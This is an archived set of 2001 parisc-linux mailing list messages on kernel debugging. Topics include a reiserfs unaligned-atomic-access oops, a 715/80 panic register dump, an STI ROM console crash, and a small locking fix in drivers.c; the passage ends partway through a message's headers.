Cc: Andi Kleen <ak@suse.de>, "David S. Miller" <davem@redhat.com>,
	alan@lxorguk.ukuu.org.uk, willy@debian.org, thunder7@xs4all.nl,
	parisc-linux@lists.parisc-linux.org, linux-kernel@vger.kernel.org
To: Hans Reiser <reiser@namesys.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep  3 08:31:07 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1A4A8482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Sep 2001 08:31:06 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15duki-0003Tl-00; Mon, 03 Sep 2001 15:31:04 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <3B935FF8.935244CE@namesys.com>; from reiser@namesys.com on Mon, Sep 03, 2001 at 02:48:24PM +0400
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12086

On Mon, Sep 03, 2001 at 02:48:24PM +0400, Hans Reiser wrote:
> Ok, so the sum of this is that Jeff's patches work on the platforms he wrote
> them for, and we need one more fix for PA-RISC.
> 
> So, we can reasonably send Jeff's patches to Linus, and test and then put the
> PA-RISC patch into the AC tree, any disagreement?

If you don't align on sparc, alpha, et al, then it will be slower than
it could be; don't you want to fix that first?

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel panics on 715/80
Date: Mon, 3 Sep 2001 15:59:40 +0100
Lines: 46
Approved: news@gmane.org
Message-ID: <20010903155940.I5126@parcelfarce.linux.theplanet.co.uk>
References: <Pine.LNX.4.30.0109031623080.14451-100000@penguin3.ntc.nokia.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620450 24922 80.91.229.3 (22 Nov 2014 01:40:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Hannu Martikka <martikka@penguin3.ntc.nokia.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep  3 08:59:41 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 409D9482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Sep 2001 08:59:41 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15dvCO-0004Dg-00; Mon, 03 Sep 2001 15:59:40 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.LNX.4.30.0109031623080.14451-100000@penguin3.ntc.nokia.com>; from martikka@penguin3.ntc.nokia.com on Mon, Sep 03, 2001 at 05:21:09PM +0300
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12087

On Mon, Sep 03, 2001 at 05:21:09PM +0300, Hannu Martikka wrote:
> Hei,
> 
> I just downloaded kernel-2.4.9 (linux-20010901.tar.gz) and compiled it
> with default configuration (I selected the 7100LC cpu) on my 715/80. I was
> successfully running the 2.4.0 kernel from 0.9.2 cd-image.
> 
> Any ideas what went wrong?

Nope; two hints.  First, you can look up 102ee3c4 and 1010afd0 in your
System.map -- that'll tell you which function it's in and what function
called it, respectively.  Secondly, you can define EARLY_BOOTUP_DEBUG
in arch/parisc/kernel/pdc_cons.c and recompile.  That'll show where it
dies.  This crash concerns me a little since I tested CVS kernel a couple
of days ago on a 715/80.

>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00000000000011000000000000001111
> r0-3     00000000 2000003c 1010afd0 1034c76c

r2 is the return address -- ie our caller.

> r4-7     f0200000 1034c010 00000005 10348628
> r8-11    10348609 00000008 0004000e 102ecf94
> r12-15   00000000 00000001 00000001 f0000704
> r16-19   f000b858 00000002 00000000 00000000
> r20-23   00005e00 0000000b 00000010 0000008e
> r24-27   00000000 1034c1e0 1034c770 102a4010
> r28-31   00000000 102b6810 10348980 f0012870
> sr0-3    00000000 00000000 00000000 00000000
> sr4-7    00000000 00000000 00000000 00000000
> 
> IASQ: 00000000 00000000 IAOQ: 102ee3c4 102ee3b4

and IAOQ is the address of the executing instruction and the next
instruction -- interestingly the instruction that faulted is in the
delay slot of a branch.

>  IIR: 0c201093    ISR: 00000000  IOR: 2000003c
>  ORIG_R28: 00000000

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?R=FCdiger?= Scholz <rscholz@hrzpub.tu-darmstadt.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel failures
Date: Mon, 03 Sep 2001 21:57:39 +0200
Lines: 66
Approved: news@gmane.org
Message-ID: <3B93E0B3.7070700@hrzpub.tu-darmstadt.de>
References: <3B8F18EF.9060404@hrzpub.tu-darmstadt.de> <20010831160827.C5126@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620450 24924 80.91.229.3 (22 Nov 2014 01:40:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep  3 11:57:57 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mx04.nexgo.de (mx04.nexgo.de [151.189.8.80])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1FA58482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Sep 2001 11:57:57 -0600 (MDT)
Original-Received: from hrzpub.tu-darmstadt.de (unknown [145.254.196.17])
	by mx04.nexgo.de (Postfix) with ESMTP
	id 537932F8BB; Mon,  3 Sep 2001 19:57:54 +0200 (CEST)
User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.3) Gecko/20010801
X-Accept-Language: en-us
Xref: news.gmane.org gmane.linux.ports.parisc:12088

Matthew Wilcox wrote:

>On Fri, Aug 31, 2001 at 06:56:15AM +0200, Rdiger Scholz wrote:
>
>>When I played a little bit  with the kernel, I found some failures.
>>My machine is a 715/100 with a second  Graphics-Card (Coral SGC). If the 
>>
>
>Could you change kernel/printk.c, line 36 from:
>#define DEFAULT_CONSOLE_LOGLEVEL 7 /* anything MORE serious than KERN_DEBUG */
>to:
>#define DEFAULT_CONSOLE_LOGLEVEL 9 /* anything MORE serious than KERN_DEBUG */
>
>This should print out more debug messages and might help diagnose the problem.
>

Nop. It doesn't print any new messages at booting. It 's difficult to 
debug, because I don't know exactly where the kernel crash,  because 
when it crashs GR02 and IAOQ point to parisc_terminate and show_stack.
But looking at the last messages and the source code, the kernel crashs 
when it's calling "sti_dump_rom" in the file 
linux/drivers/video/sticore.c. The last three lines before the kernel 
crashs are:
SNIP---------       
        sticonsole_init: searching for STI ROMs                        
                         
        STI word mode ROM at f0025000, hpa=f4000000                    
                            <--- this is in function sti_read_rom which 
calls sti_dump_rom
        STI word mode ROM, id 2b4ded6d-40a00499, conforms to spec rev. 
8.04           <--- function sti_dump_rom
SNAP--------

And this is the code of function "sti_dump_rom":
SNIP----------
    static void __init
    sti_dump_rom(struct sti_rom *rom)
    {
            printk(KERN_INFO "STI %s mode ROM, id %04x-%04x, conforms to 
spec rev. %d.%02x\n",
                    (rom->type[3] == 1) ? "byte" : "word",
                    rom->graphics_id[0],
                    rom->graphics_id[1],
                    rom->revno[0] >> 4,
                    rom->revno[0] & 0x0f);
            DPRINTK((" supports %d monitors\n", rom->num_mons));
            DPRINTK((" font start %08x\n", rom->font_start));
            DPRINTK((" region list %08x\n", rom->region_list));
            DPRINTK((" init_graph %08x\n", rom->init_graph));
            DPRINTK((" alternate code type %d\n", rom->alt_code_type));
    }
SNAP----------

After the printk("STI word mode..."), I should see messages about 
supported monitors, etc. So here must be the place, where the kernel crashs.


Thanks in advance,

        Rdiger







From - Thu Nov 08 21:19:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux willy
Date: Mon, 3 Sep 2001 19:11:28 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <20010903191128.L5126@parcelfarce.linux.theplanet.co.uk>
References: <200109031808.MAA23023@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620450 24925 80.91.229.3 (22 Nov 2014 01:40:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:50 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep  3 12:11:29 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id DF48D482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Sep 2001 12:11:28 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15dyC0-0007Yz-00
	for parisc-linux@lists.parisc-linux.org; Mon, 03 Sep 2001 19:11:28 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200109031808.MAA23023@puffin.external.hp.com>; from willy@puffin.external.hp.com on Mon, Sep 03, 2001 at 12:08:37PM -0600
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12089

On Mon, Sep 03, 2001 at 12:08:37PM -0600, Matthew Wilcox wrote:
> Log message:
> Unlock the lock, not the device!

Index: arch/parisc/kernel/drivers.c
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/kernel/drivers.c,v
retrieving revision 1.22
diff -u -p -r1.22 drivers.c
--- drivers.c   2001/09/01 08:30:49     1.22
+++ drivers.c   2001/09/03 18:08:14
@@ -248,7 +248,7 @@ struct parisc_device *alloc_pa_dev(unsig
 
        num_devices++;
 
-       write_unlock(&pa_dev);
+       write_unlock(&pa_lock);
 
        return dev;
 }

Thanks to Ben Collins for this patch.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Baechle <ralf@uni-koblenz.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [SOLVED + PATCH]: documented Oops running big-endian reiserfs on parisc architecture
Date: Mon, 3 Sep 2001 15:14:21 +0200
Lines: 19
Approved: news@gmane.org
Message-ID: <20010903151421.A3078@dea.linux-mips.net>
References: <OF9A995335.07A81CF5-ONC1256ABC.00422A7B@de.ibm.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620451 24928 80.91.229.3 (22 Nov 2014 01:40:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:51 +0000 (UTC)
Cc: "David S. Miller" <davem@redhat.com>,
	Richard.Zidlicky@stud.informatik.uni-erlangen.de, thunder7@xs4all.nl,
	parisc-linux@lists.parisc-linux.org, linux-kernel@vger.kernel.org
To: Ulrich Weigand <Ulrich.Weigand@de.ibm.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep  3 12:14:44 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dea.linux-mips.net (u-150-20.karlsruhe.ipdial.viaginterkom.de [62.180.20.150])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1B09B482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Sep 2001 12:14:37 -0600 (MDT)
Original-Received: (from ralf@localhost)
	by dea.linux-mips.net (8.11.1/8.11.1) id f83DELY05803;
	Mon, 3 Sep 2001 15:14:21 +0200
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <OF9A995335.07A81CF5-ONC1256ABC.00422A7B@de.ibm.com>; from Ulrich.Weigand@de.ibm.com on Mon, Sep 03, 2001 at 02:08:43PM +0200
X-Accept-Language: de,en,fr
Xref: news.gmane.org gmane.linux.ports.parisc:12090

On Mon, Sep 03, 2001 at 02:08:43PM +0200, Ulrich Weigand wrote:

> >From what I recall when we were looking into reiserfs on S/390,
> the core problem was that reiserfs tried to do *atomic* operations
> on non-aligned words.  This isn't supported by the hardware on
> S/390 (normal non-aligned accesses just work).
> 
> I don't really see how this can be fixed in a trap handler; how
> would the handler guarantee atomicity?

Spinlocks.  Now that'd so infinitly ugly that I'd rather fix Reiserfs.
It's another proof that reiserfs design was done without too much
consideration of portability so I speculate we'll continue to see such
bugs.

  Ralf




From - Thu Nov 08 21:19:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: thunder7@xs4all.nl
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] cvs newbie
Date: Mon, 3 Sep 2001 21:15:01 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <20010903211501.A14562@middle.of.nowhere>
Reply-To: thunder7@xs4all.nl
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620451 24933 80.91.229.3 (22 Nov 2014 01:40:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:51 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep  3 13:15:11 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp1.xs4all.nl (smtp1.xs4all.nl [194.109.127.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id A6922482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Sep 2001 13:15:10 -0600 (MDT)
Original-Received: from rivierenland.xs4all.nl (rivierenland.xs4all.nl [194.109.14.47])
	by smtp1.xs4all.nl (8.9.3/8.9.3) with ESMTP id VAA11697
	for <parisc-linux@lists.parisc-linux.org>; Mon, 3 Sep 2001 21:15:08 +0200 (CEST)
Original-Received: (qmail 15282 invoked from network); 3 Sep 2001 19:15:02 -0000
Original-Received: from unknown (HELO rivierenland.xs4all.nl) (unknown)
  by unknown with SMTP; 3 Sep 2001 19:15:02 -0000
Original-Received: (qmail 15590 invoked by uid 500); 3 Sep 2001 19:15:01 -0000
Content-Disposition: inline
User-Agent: Mutt/1.3.22.1i
Xref: news.gmane.org gmane.linux.ports.parisc:12091

I'd like to find out what kernel started this ominous
'Trace/breakpoint trap' on running 'make mrproper' in my linux-source
directory.

2.4.0 (from the 0.9.2 iso) didn't, 2.4.9-pa13 does.

I've rebrowsed all archives to this list, and I haven't found a good
recipe for 'downgrading' with cvs. I have cvs installed. I have the
recommended .cvsrc from the list. I have a 64 kBaud connection on which
I pay for each minute. I have downloaded linux-20010831.tar.gz, and
untarred it as /home/jurriaan/linux/.

How do I downgrade that linux-tree to say 2.4.5-pa1 or some other
release? I believe this 'Trace/breakpoint trap' thing can be found, and
I have the time to search for it - but how to I get older kernels?

[As an aside: how I would love to have puffin.external.hp not only have
tarballs of the latest kernels, but also day-to-day patchfiles for the
last 2 months or something like that.]

Thanks,
Jurriaan
-- 
Beam me up, Scotty. This planet sucks!
GNU/Linux 2.4.9-ac5 SMP/ReiserFS 2x1402 bogomips load av: 0.00 0.00 0.00




From - Thu Nov 08 21:19:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rbradetich@uswest.net (Ryan Bradetich)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Delaying the device inventory detection time
Date: Mon, 3 Sep 2001 13:19:23 -0600
Lines: 44
Approved: news@gmane.org
Message-ID: <20010903131923.A11381@beavis.ybsoft.com>
References: <200109020616.AAA07559@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620451 24938 80.91.229.3 (22 Nov 2014 01:40:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep  3 13:19:26 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (unknown [63.224.241.66])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0CFFC482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Sep 2001 13:19:26 -0600 (MDT)
Original-Received: by beavis.ybsoft.com (Postfix, from userid 1000)
	id C6BD0BCE8; Mon,  3 Sep 2001 13:19:23 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <200109020616.AAA07559@udlkern.fc.hp.com>
User-Agent: Mutt/1.3.20i
Xref: news.gmane.org gmane.linux.ports.parisc:12092

John,

Willy and I have been looking over the current boot sequence and did not
see any reason why the device detection could not be delayed until main
memory had been setup.  The only special case looked like the cpu driver,
and upon further investigation, all the cpu related information was
gathered via pdc calls.  I remember our converstation about using bootmem
and regulard kmalloc'd memory with a flag to detect which type of memory
was used, but delaying the device detection until memory was initialized
seems like a cleaner solution.   Are there cases where this scheme will
not work?  Like with SMP kernels?  Newer hardware (like superdome), etc?

Thanks for your feedback John, if this patch is not going to work, then
we need to restructure the design of the iotree to not depend upon this
patch!

- Ryan

On Sun, Sep 02, 2001 at 12:16:39AM -0600, John Marvin wrote:
> 
> Ryan,
> 
> Why isn't alloc_bootmem or alloc_bootmem_pages good enough? I already
> restructured the boot sequence a while back to allow for that.
> 
> The only problem I see with using those routines is that it is a little
> harder to free up memory allocated with those routines once the
> memory subsystem is fully initialized, but if you are only dynamically
> allocating, without a need to free the memory you should be able to
> use those routines without having to do any restructuring.
> 
> John
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
> 

-- 




From - Thu Nov 08 21:19:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "David S. Miller" <davem@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [SOLVED + PATCH]: documented Oops running big-endian reiserfs
 on parisc architecture
Date: Mon, 03 Sep 2001 15:24:43 -0700 (PDT)
Lines: 23
Approved: news@gmane.org
Message-ID: <20010903.152443.59467554.davem@redhat.com>
References: <OF9A995335.07A81CF5-ONC1256ABC.00422A7B@de.ibm.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620451 24940 80.91.229.3 (22 Nov 2014 01:40:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:51 +0000 (UTC)
Cc: Richard.Zidlicky@stud.informatik.uni-erlangen.de,
	thunder7@xs4all.nl, parisc-linux@lists.parisc-linux.org,
	linux-kernel@vger.kernel.org
To: Ulrich.Weigand@de.ibm.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep  3 16:25:55 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pizda.ninka.net (pizda.ninka.net [216.101.162.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id B8044482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Sep 2001 16:25:54 -0600 (MDT)
Original-Received: from localhost (IDENT:davem@pizda.ninka.net [127.0.0.1])
	by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id PAA15263;
	Mon, 3 Sep 2001 15:24:44 -0700
In-Reply-To: <OF9A995335.07A81CF5-ONC1256ABC.00422A7B@de.ibm.com>
X-Mailer: Mew version 2.0 on Emacs 21.0 / Mule 5.0 (SAKAKI)
Xref: news.gmane.org gmane.linux.ports.parisc:12093

   From: "Ulrich Weigand" <Ulrich.Weigand@de.ibm.com>
   Date: Mon, 3 Sep 2001 14:08:43 +0200
   
   >From what I recall when we were looking into reiserfs on S/390,
   the core problem was that reiserfs tried to do *atomic* operations
   on non-aligned words.  This isn't supported by the hardware on
   S/390 (normal non-aligned accesses just work).
   
   I don't really see how this can be fixed in a trap handler; how
   would the handler guarantee atomicity?

Oh thats different!  That won't even work %100 correctly on x86.  On
x86 it will "execute", but it won't be atomic.

Why the F*CK does it need to do this?  It sounds like sloppy
programming to me.

Later,
David S. Miller
davem@redhat.com




From - Thu Nov 08 21:19:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Horst von Brand <vonbrand@sleipnir.valparaiso.cl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] documented Oops running big-endian reiserfs on parisc architecture
Date: Mon, 03 Sep 2001 11:44:39 -0400
Lines: 17
Approved: news@gmane.org
Message-ID: <200109031544.f83Fidbr002589@sleipnir.valparaiso.cl>
References: <davem@redhat.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620452 24943 80.91.229.3 (22 Nov 2014 01:40:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:52 +0000 (UTC)
Cc: ak@suse.de, alan@lxorguk.ukuu.org.uk, willy@debian.org,
	thunder7@xs4all.nl, parisc-linux@lists.parisc-linux.org,
	linux-kernel@vger.kernel.org
To: "David S. Miller" <davem@redhat.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep  3 17:05:32 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from chac.inf.utfsm.cl (chac.inf.utfsm.cl [200.1.19.54])
	by dsl2.external.hp.com (Postfix) with ESMTP id 242B1482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Sep 2001 17:05:31 -0600 (MDT)
Original-Received: from sleipnir.valparaiso.cl (IDENT:smmsp@sleipnir.valparaiso.cl [204.87.169.3])
	by chac.inf.utfsm.cl (8.12.0.Beta7/8.12.0.Beta7) with ESMTP id f83N4cRn008055;
	Mon, 3 Sep 2001 19:05:16 -0400
Original-Received: from sleipnir.valparaiso.cl (vonbrand@localhost)
	by sleipnir.valparaiso.cl (8.12.0.Beta19/8.12.0.Beta19) with ESMTP id f83Fidbr002589;
	Mon, 3 Sep 2001 11:44:39 -0400
In-Reply-To: Message from "David S. Miller" <davem@redhat.com> 
   of "Mon, 03 Sep 2001 01:15:30 MST." <20010903.011530.62340995.davem@redhat.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:12094

"David S. Miller" <davem@redhat.com> said:
> IP header length is measured in octets, so how is this possible?
> :-)

1 octet == 8 bits in RFC-speak. "Byte" is the name given to character
units.  There were machines around with non-8-bit bytes. AFAIR, DEC PDP-10
had the options of 6, 7, or 8 bits/byte in 36 bit words. Purely historical
now, since (AFAIK) everybody has agreed with IBM (S/360?) that 1 byte == 8
bits. As Brian Reid (IIRC) used to say: "It is spelled 'o-c-t-e-t' and
pronounced 'byte'"
-- 
Horst von Brand                             vonbrand@sleipnir.valparaiso.cl
Casilla 9G, Vin~a del Mar, Chile                               +56 32 672616





From - Thu Nov 08 21:19:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] UreStoreOptical 20xt
Date: Mon, 03 Sep 2001 19:34:20 -0600
Lines: 26
Approved: news@gmane.org
Message-ID: <200109040134.TAA23952@puffin.external.hp.com>
References: <C12531D038D1D011B1DB0000F8036C280A30EB51@eosm5.oecd.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620452 24946 80.91.229.3 (22 Nov 2014 01:40:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Arnaud.ATOCH@oecd.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep  3 19:36:42 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id D5D4C482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Sep 2001 19:36:42 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id TAA23952;
	Mon, 3 Sep 2001 19:34:20 -0600
In-Reply-To: Message from Arnaud.ATOCH@oecd.org 
   of "Mon, 03 Sep 2001 12:28:38 +0200." <C12531D038D1D011B1DB0000F8036C280A30EB51@eosm5.oecd.org> 
Xref: news.gmane.org gmane.linux.ports.parisc:12095

Arnaud.ATOCH@oecd.org wrote:
> I've loaded hfs, hpfs, udf, ufs because it was not clear which module
> provide HP-UX filesystem support.

IIRC, should only need hpfs (which also depends on ufs?..dunno anymore)
hfs == Apple's Hiearchial File System.

> Btw does the HP-UX fs support patch made it to Linus tree ?

dunno.  But didn't that patch come from the parisc-linux tree?

Anyway...you might check if those disks are under LVM control.
If so, you'll have to convert those to non-LVM storage using HPUX.
The archives for parisc-linux mailing list have a discussion on HP's
LVM issues.

BTW, You might also try to explicitly specify the hpfs type.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:19:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeff Mahoney <jeffm@suse.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [SOLVED + PATCH]: documented Oops running big-endian reiserfs on parisc architecture
Date: Mon, 3 Sep 2001 21:38:36 -0400
Lines: 41
Approved: news@gmane.org
Message-ID: <20010903213835.A13887@fury.csh.rit.edu>
References: <20010902105538.A15344@middle.of.nowhere> <20010902150023.U5126@parcelfarce.linux.theplanet.co.uk> <20010902195717.A21209@middle.of.nowhere> <20010903003437.A385@linux-m68k.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620452 24948 80.91.229.3 (22 Nov 2014 01:40:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:52 +0000 (UTC)
Cc: thunder7@xs4all.nl, parisc-linux@lists.parisc-linux.org,
	linux-kernel@vger.kernel.org
To: Richard Zidlicky <Richard.Zidlicky@stud.informatik.uni-erlangen.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep  3 19:38:47 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mcp.csh.rit.edu (mcp.csh.rit.edu [129.21.60.9])
	by dsl2.external.hp.com (Postfix) with ESMTP id 852D0482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Sep 2001 19:38:47 -0600 (MDT)
Original-Received: from fury.csh.rit.edu (fury.csh.rit.edu [129.21.60.5])
	by mcp.csh.rit.edu (Postfix) with ESMTP
	id E4C7324E; Mon,  3 Sep 2001 21:38:40 -0400 (EDT)
